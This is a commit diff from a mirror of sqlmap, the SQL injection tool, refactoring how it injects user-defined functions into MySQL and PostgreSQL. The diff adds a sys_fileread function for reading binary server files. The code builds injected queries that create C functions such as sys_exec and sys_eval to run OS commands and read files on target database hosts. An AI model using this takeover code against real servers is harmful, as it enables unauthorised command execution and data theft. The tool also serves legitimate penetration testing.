mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-01-24 08:14:24 +03:00
--read-file on PostgreSQL now relies on the new sys_fileread() UDF so that also binary files can be read.
Fixed a minor bug in custom UDF injection feature --udf-inject. Major code refactoring.
This commit is contained in:
parent
f728208ff7
commit
89dc99188d
|
@ -157,7 +157,7 @@ class Abstraction(Web, UDF, xp_cmdshell):
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||||
self.udfInjectCmd()
|
self.udfInjectSys()
|
||||||
elif kb.dbms == "Microsoft SQL Server":
|
elif kb.dbms == "Microsoft SQL Server":
|
||||||
if mandatory:
|
if mandatory:
|
||||||
self.xpCmdshellInit()
|
self.xpCmdshellInit()
|
||||||
|
|
|
@ -35,6 +35,7 @@ from lib.core.dump import dumper
|
||||||
from lib.core.exception import sqlmapFilePathException
|
from lib.core.exception import sqlmapFilePathException
|
||||||
from lib.core.exception import sqlmapMissingMandatoryOptionException
|
from lib.core.exception import sqlmapMissingMandatoryOptionException
|
||||||
from lib.core.exception import sqlmapUnsupportedFeatureException
|
from lib.core.exception import sqlmapUnsupportedFeatureException
|
||||||
|
from lib.core.unescaper import unescaper
|
||||||
from lib.request import inject
|
from lib.request import inject
|
||||||
from lib.techniques.outband.stacked import stackedTest
|
from lib.techniques.outband.stacked import stackedTest
|
||||||
|
|
||||||
|
@ -89,21 +90,23 @@ class UDF:
|
||||||
self.createSupportTbl(self.cmdTblName, self.tblField, dataType)
|
self.createSupportTbl(self.cmdTblName, self.tblField, dataType)
|
||||||
|
|
||||||
def udfExecCmd(self, cmd, silent=False, udfName=None):
|
def udfExecCmd(self, cmd, silent=False, udfName=None):
|
||||||
cmd = urlencode(cmd, convall=True)
|
|
||||||
|
|
||||||
if udfName is None:
|
if udfName is None:
|
||||||
cmd = "'%s'" % cmd
|
cmd = "'%s'" % cmd
|
||||||
udfName = "sys_exec"
|
udfName = "sys_exec"
|
||||||
|
|
||||||
|
cmd = unescaper.unescape(cmd)
|
||||||
|
cmd = urlencode(cmd, convall=True)
|
||||||
|
|
||||||
inject.goStacked("SELECT %s(%s)" % (udfName, cmd), silent)
|
inject.goStacked("SELECT %s(%s)" % (udfName, cmd), silent)
|
||||||
|
|
||||||
def udfEvalCmd(self, cmd, first=None, last=None, udfName=None):
|
def udfEvalCmd(self, cmd, first=None, last=None, udfName=None):
|
||||||
cmd = urlencode(cmd, convall=True)
|
|
||||||
|
|
||||||
if udfName is None:
|
if udfName is None:
|
||||||
cmd = "'%s'" % cmd
|
cmd = "'%s'" % cmd
|
||||||
udfName = "sys_eval"
|
udfName = "sys_eval"
|
||||||
|
|
||||||
|
cmd = unescaper.unescape(cmd)
|
||||||
|
cmd = urlencode(cmd, convall=True)
|
||||||
|
|
||||||
inject.goStacked("INSERT INTO %s(%s) VALUES (%s(%s))" % (self.cmdTblName, self.tblField, udfName, cmd))
|
inject.goStacked("INSERT INTO %s(%s) VALUES (%s(%s))" % (self.cmdTblName, self.tblField, udfName, cmd))
|
||||||
output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, firstChar=first, lastChar=last)
|
output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, firstChar=first, lastChar=last)
|
||||||
inject.goStacked("DELETE FROM %s" % self.cmdTblName)
|
inject.goStacked("DELETE FROM %s" % self.cmdTblName)
|
||||||
|
@ -116,23 +119,29 @@ class UDF:
|
||||||
|
|
||||||
return output
|
return output
|
||||||
|
|
||||||
def checkNeededUdfs(self):
|
def udfCheckNeeded(self):
|
||||||
|
if ( not conf.rFile or ( conf.rFile and kb.dbms != "PostgreSQL" ) ) and "sys_fileread" in self.sysUdfs:
|
||||||
|
self.sysUdfs.pop("sys_fileread")
|
||||||
|
|
||||||
if not conf.osPwn:
|
if not conf.osPwn:
|
||||||
self.sysUdfs.pop("sys_bineval")
|
self.sysUdfs.pop("sys_bineval")
|
||||||
|
|
||||||
if not conf.osCmd and not conf.osShell and not conf.regRead:
|
if not conf.osCmd and not conf.osShell and not conf.regRead:
|
||||||
self.sysUdfs.pop("sys_eval")
|
self.sysUdfs.pop("sys_eval")
|
||||||
|
|
||||||
def udfCreateFromSharedLib(self):
|
if not conf.osPwn and not conf.regAdd and not conf.regDel:
|
||||||
errMsg = "udfSetRemotePath() method must be defined within the plugin"
|
self.sysUdfs.pop("sys_exec")
|
||||||
raise sqlmapUnsupportedFeatureException(errMsg)
|
|
||||||
|
|
||||||
def udfSetRemotePath(self):
|
def udfSetRemotePath(self):
|
||||||
errMsg = "udfSetRemotePath() method must be defined within the plugin"
|
errMsg = "udfSetRemotePath() method must be defined within the plugin"
|
||||||
raise sqlmapUnsupportedFeatureException(errMsg)
|
raise sqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
def udfInjectCmd(self):
|
def udfSetLocalPaths(self):
|
||||||
errMsg = "udfInjectCmd() method must be defined within the plugin"
|
errMsg = "udfSetLocalPaths() method must be defined within the plugin"
|
||||||
|
raise sqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
def udfCreateFromSharedLib(self):
|
||||||
|
errMsg = "udfSetRemotePath() method must be defined within the plugin"
|
||||||
raise sqlmapUnsupportedFeatureException(errMsg)
|
raise sqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
def udfInjectCore(self, udfDict):
|
def udfInjectCore(self, udfDict):
|
||||||
|
@ -157,6 +166,11 @@ class UDF:
|
||||||
|
|
||||||
self.udfCreateSupportTbl(supportTblType)
|
self.udfCreateSupportTbl(supportTblType)
|
||||||
|
|
||||||
|
def udfInjectSys(self):
|
||||||
|
self.udfSetLocalPaths()
|
||||||
|
self.udfCheckNeeded()
|
||||||
|
self.udfInjectCore(self.sysUdfs)
|
||||||
|
|
||||||
def udfInjectCustom(self):
|
def udfInjectCustom(self):
|
||||||
if kb.dbms not in ( "MySQL", "PostgreSQL" ):
|
if kb.dbms not in ( "MySQL", "PostgreSQL" ):
|
||||||
errMsg = "UDF injection feature is not yet implemented on %s" % kb.dbms
|
errMsg = "UDF injection feature is not yet implemented on %s" % kb.dbms
|
||||||
|
@ -286,7 +300,6 @@ class UDF:
|
||||||
|
|
||||||
if isinstance(retType, str) and retType.isdigit():
|
if isinstance(retType, str) and retType.isdigit():
|
||||||
logger.warn("you need to specify the data-type of the return value")
|
logger.warn("you need to specify the data-type of the return value")
|
||||||
|
|
||||||
else:
|
else:
|
||||||
self.udfs[udfName]["return"] = retType
|
self.udfs[udfName]["return"] = retType
|
||||||
break
|
break
|
||||||
|
@ -314,16 +327,13 @@ class UDF:
|
||||||
while True:
|
while True:
|
||||||
choice = readInput(msg)
|
choice = readInput(msg)
|
||||||
|
|
||||||
if choice[0] in ( "q", "Q" ):
|
if choice and choice[0] in ( "q", "Q" ):
|
||||||
break
|
break
|
||||||
|
elif isinstance(choice, str) and choice.isdigit() and int(choice) > 0 and int(choice) <= len(udfList):
|
||||||
if isinstance(choice, str) and choice.isdigit() and int(choice) > 0 and int(choice) <= len(udfList):
|
|
||||||
choice = int(choice)
|
choice = int(choice)
|
||||||
break
|
break
|
||||||
|
|
||||||
elif isinstance(choice, int) and choice > 0 and choice <= len(udfList):
|
elif isinstance(choice, int) and choice > 0 and choice <= len(udfList):
|
||||||
break
|
break
|
||||||
|
|
||||||
else:
|
else:
|
||||||
warnMsg = "invalid value, only digits >= 1 and "
|
warnMsg = "invalid value, only digits >= 1 and "
|
||||||
warnMsg += "<= %d are allowed" % len(udfList)
|
warnMsg += "<= %d are allowed" % len(udfList)
|
||||||
|
|
|
@ -535,6 +535,17 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||||
# paths are writable by mysql user by default
|
# paths are writable by mysql user by default
|
||||||
self.udfRemoteFile = "/usr/lib/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
|
self.udfRemoteFile = "/usr/lib/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
|
||||||
|
|
||||||
|
def udfSetLocalPaths(self):
|
||||||
|
self.udfLocalFile = paths.SQLMAP_UDF_PATH
|
||||||
|
self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True)
|
||||||
|
|
||||||
|
if kb.os == "Windows":
|
||||||
|
self.udfLocalFile += "/mysql/windows/lib_mysqludf_sys.dll"
|
||||||
|
self.udfSharedLibExt = "dll"
|
||||||
|
else:
|
||||||
|
self.udfLocalFile += "/mysql/linux/lib_mysqludf_sys.so"
|
||||||
|
self.udfSharedLibExt = "so"
|
||||||
|
|
||||||
def udfCreateFromSharedLib(self, udf, inpRet):
|
def udfCreateFromSharedLib(self, udf, inpRet):
|
||||||
if udf in self.udfToCreate:
|
if udf in self.udfToCreate:
|
||||||
logger.info("creating UDF '%s' from the binary UDF file" % udf)
|
logger.info("creating UDF '%s' from the binary UDF file" % udf)
|
||||||
|
@ -549,20 +560,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||||
else:
|
else:
|
||||||
logger.debug("keeping existing UDF '%s' as requested" % udf)
|
logger.debug("keeping existing UDF '%s' as requested" % udf)
|
||||||
|
|
||||||
def udfInjectCmd(self):
|
|
||||||
self.udfLocalFile = paths.SQLMAP_UDF_PATH
|
|
||||||
self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True)
|
|
||||||
|
|
||||||
if kb.os == "Windows":
|
|
||||||
self.udfLocalFile += "/mysql/windows/lib_mysqludf_sys.dll"
|
|
||||||
self.udfSharedLibExt = "dll"
|
|
||||||
else:
|
|
||||||
self.udfLocalFile += "/mysql/linux/lib_mysqludf_sys.so"
|
|
||||||
self.udfSharedLibExt = "so"
|
|
||||||
|
|
||||||
self.checkNeededUdfs()
|
|
||||||
self.udfInjectCore(self.sysUdfs)
|
|
||||||
|
|
||||||
def uncPathRequest(self):
|
def uncPathRequest(self):
|
||||||
if not kb.stackedTest:
|
if not kb.stackedTest:
|
||||||
query = agent.prefixQuery(" AND LOAD_FILE('%s')" % self.uncPath)
|
query = agent.prefixQuery(" AND LOAD_FILE('%s')" % self.uncPath)
|
||||||
|
|
|
@ -62,18 +62,10 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
||||||
self.excludeDbsList = PGSQL_SYSTEM_DBS
|
self.excludeDbsList = PGSQL_SYSTEM_DBS
|
||||||
self.sysUdfs = {
|
self.sysUdfs = {
|
||||||
# UDF name: UDF parameters' input data-type and return data-type
|
# UDF name: UDF parameters' input data-type and return data-type
|
||||||
"sys_exec": {
|
"sys_exec": { "input": [ "text" ], "return": "int4" },
|
||||||
"input": [ "text" ],
|
"sys_eval": { "input": [ "text" ], "return": "text" },
|
||||||
"return": "int4"
|
"sys_bineval": { "input": [ "text" ], "return": "int4" },
|
||||||
},
|
"sys_fileread": { "input": [ "text" ], "return": "text" }
|
||||||
"sys_eval": {
|
|
||||||
"input": [ "text" ],
|
|
||||||
"return": "text"
|
|
||||||
},
|
|
||||||
"sys_bineval": {
|
|
||||||
"input": [ "text" ],
|
|
||||||
"return": "int4"
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
Enumeration.__init__(self, "PostgreSQL")
|
Enumeration.__init__(self, "PostgreSQL")
|
||||||
|
@ -301,40 +293,12 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
def stackedReadFile(self, rFile):
|
def stackedReadFile(self, rFile):
|
||||||
warnMsg = "binary file read on PostgreSQL is not yet supported, "
|
|
||||||
warnMsg += "if the requested file is binary, its content will not "
|
|
||||||
warnMsg += "be retrieved"
|
|
||||||
logger.warn(warnMsg)
|
|
||||||
|
|
||||||
infoMsg = "fetching file: '%s'" % rFile
|
infoMsg = "fetching file: '%s'" % rFile
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
result = []
|
self.initEnv()
|
||||||
|
|
||||||
self.createSupportTbl(self.fileTblName, self.tblField, "bytea")
|
return self.udfEvalCmd(cmd="'%s'" % rFile, udfName="sys_fileread")
|
||||||
|
|
||||||
logger.debug("loading the content of file '%s' into support table" % rFile)
|
|
||||||
inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, rFile))
|
|
||||||
|
|
||||||
if kb.unionPosition:
|
|
||||||
result = inject.getValue("SELECT ENCODE(%s, 'base64') FROM %s" % (self.tblField, self.fileTblName), unpack=False, resumeValue=False, sort=False)
|
|
||||||
|
|
||||||
if not result:
|
|
||||||
result = []
|
|
||||||
count = inject.getValue("SELECT COUNT(%s) FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, charsetType=2)
|
|
||||||
|
|
||||||
if not count.isdigit() or not len(count) or count == "0":
|
|
||||||
errMsg = "unable to retrieve the content of the "
|
|
||||||
errMsg += "file '%s'" % rFile
|
|
||||||
raise sqlmapNoneDataException, errMsg
|
|
||||||
|
|
||||||
indexRange = getRange(count)
|
|
||||||
|
|
||||||
for index in indexRange:
|
|
||||||
chunk = inject.getValue("SELECT ENCODE(%s, 'base64') FROM %s OFFSET %d LIMIT 1" % (self.tblField, self.fileTblName, index), unpack=False, resumeValue=False, sort=False)
|
|
||||||
result.append(chunk)
|
|
||||||
|
|
||||||
return result
|
|
||||||
|
|
||||||
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
|
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
|
||||||
errMsg = "PostgreSQL does not support file upload with UNION "
|
errMsg = "PostgreSQL does not support file upload with UNION "
|
||||||
|
@ -429,22 +393,7 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
||||||
# read/write/execute access is valid
|
# read/write/execute access is valid
|
||||||
self.udfRemoteFile = "/tmp/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
|
self.udfRemoteFile = "/tmp/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
|
||||||
|
|
||||||
def udfCreateFromSharedLib(self, udf, inpRet):
|
def udfSetLocalPaths(self):
|
||||||
if udf in self.udfToCreate:
|
|
||||||
logger.info("creating UDF '%s' from the binary UDF file" % udf)
|
|
||||||
|
|
||||||
inp = ", ".join(i for i in inpRet["input"])
|
|
||||||
ret = inpRet["return"]
|
|
||||||
|
|
||||||
# Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html
|
|
||||||
inject.goStacked("DROP FUNCTION %s" % udf)
|
|
||||||
inject.goStacked("CREATE OR REPLACE FUNCTION %s(%s) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, inp, ret, self.udfRemoteFile, udf))
|
|
||||||
|
|
||||||
self.createdUdf.add(udf)
|
|
||||||
else:
|
|
||||||
logger.debug("keeping existing UDF '%s' as requested" % udf)
|
|
||||||
|
|
||||||
def udfInjectCmd(self):
|
|
||||||
self.udfLocalFile = paths.SQLMAP_UDF_PATH
|
self.udfLocalFile = paths.SQLMAP_UDF_PATH
|
||||||
self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True)
|
self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True)
|
||||||
|
|
||||||
|
@ -469,8 +418,20 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
||||||
self.udfLocalFile += "/postgresql/linux/%s/lib_postgresqludf_sys.so" % majorVer
|
self.udfLocalFile += "/postgresql/linux/%s/lib_postgresqludf_sys.so" % majorVer
|
||||||
self.udfSharedLibExt = "so"
|
self.udfSharedLibExt = "so"
|
||||||
|
|
||||||
self.checkNeededUdfs()
|
def udfCreateFromSharedLib(self, udf, inpRet):
|
||||||
self.udfInjectCore(self.sysUdfs)
|
if udf in self.udfToCreate:
|
||||||
|
logger.info("creating UDF '%s' from the binary UDF file" % udf)
|
||||||
|
|
||||||
|
inp = ", ".join(i for i in inpRet["input"])
|
||||||
|
ret = inpRet["return"]
|
||||||
|
|
||||||
|
# Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html
|
||||||
|
inject.goStacked("DROP FUNCTION %s" % udf)
|
||||||
|
inject.goStacked("CREATE OR REPLACE FUNCTION %s(%s) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, inp, ret, self.udfRemoteFile, udf))
|
||||||
|
|
||||||
|
self.createdUdf.add(udf)
|
||||||
|
else:
|
||||||
|
logger.debug("keeping existing UDF '%s' as requested" % udf)
|
||||||
|
|
||||||
def uncPathRequest(self):
|
def uncPathRequest(self):
|
||||||
self.createSupportTbl(self.fileTblName, self.tblField, "text")
|
self.createSupportTbl(self.fileTblName, self.tblField, "text")
|
||||||
|
|
|
@ -285,12 +285,7 @@ class Filesystem:
|
||||||
|
|
||||||
fileContent = newFileContent
|
fileContent = newFileContent
|
||||||
|
|
||||||
if kb.dbms in ( "MySQL", "Microsoft SQL Server" ):
|
|
||||||
fileContent = self.__unhexString(fileContent)
|
fileContent = self.__unhexString(fileContent)
|
||||||
|
|
||||||
elif kb.dbms == "PostgreSQL":
|
|
||||||
fileContent = self.__unbase64String(fileContent)
|
|
||||||
|
|
||||||
rFilePath = dataToOutFile(fileContent)
|
rFilePath = dataToOutFile(fileContent)
|
||||||
|
|
||||||
self.cleanup(onlyFileTbl=True)
|
self.cleanup(onlyFileTbl=True)
|
||||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Loading…
Reference in New Issue
Block a user